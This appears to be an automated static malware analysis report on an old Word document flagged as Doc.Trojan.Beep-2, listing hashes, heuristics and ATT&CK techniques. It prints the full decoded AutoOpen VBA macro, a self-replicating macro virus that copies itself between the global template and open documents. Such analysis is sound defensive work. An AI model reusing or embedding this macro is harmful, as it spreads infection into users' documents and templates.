Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d249493251747efc…

MALICIOUS

Office (OLE)

26.0 KB Created: 1998-01-29 08:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1692f9814f15bc27615191f20fc13ed8 SHA-1: 7ba9133bfd05b9533860f352c7ac23b4f13027bf SHA-256: d249493251747efc5a0782ec149c97c9a37b78575b9ed0c7d6b8cfedea012d3b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with multiple critical detections. Static analysis reveals the presence of a VBA macro within the 'macros.bas' script. This macro, named 'AutoOpen', is designed to copy itself and potentially save the document using WordBasic.FileSaveAs, indicating an attempt to propagate or modify the document for malicious purposes. The legacy WordBasic AutoExec marker further supports the presence of auto-executing malicious code.

Heuristics 4

  • ClamAV: Doc.Trojan.Beep-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beep-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 639 bytes
SHA-256: b1c9713dd2c868fad7332bb6656aa9746798c580be7ab323983434e9fbae1e5a
Detection
ClamAV: Doc.Trojan.Minimal-35
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim A$
Dim Z$
On Error Resume Next
A$ = "Global:AutoOpen"
Z$ = WordBasic.[FileName$]() + ":AutoOpen"
If A$ = Z$ Then WordBasic.Beep Else WordBasic.MacroCopy A$, Z$, 1
If A$ = Z$ Then WordBasic.Beep Else WordBasic.MacroCopy Z$, A$, 1
If A$ = Z$ Then WordBasic.Beep Else WordBasic.FileSaveAs Format:=1
End Sub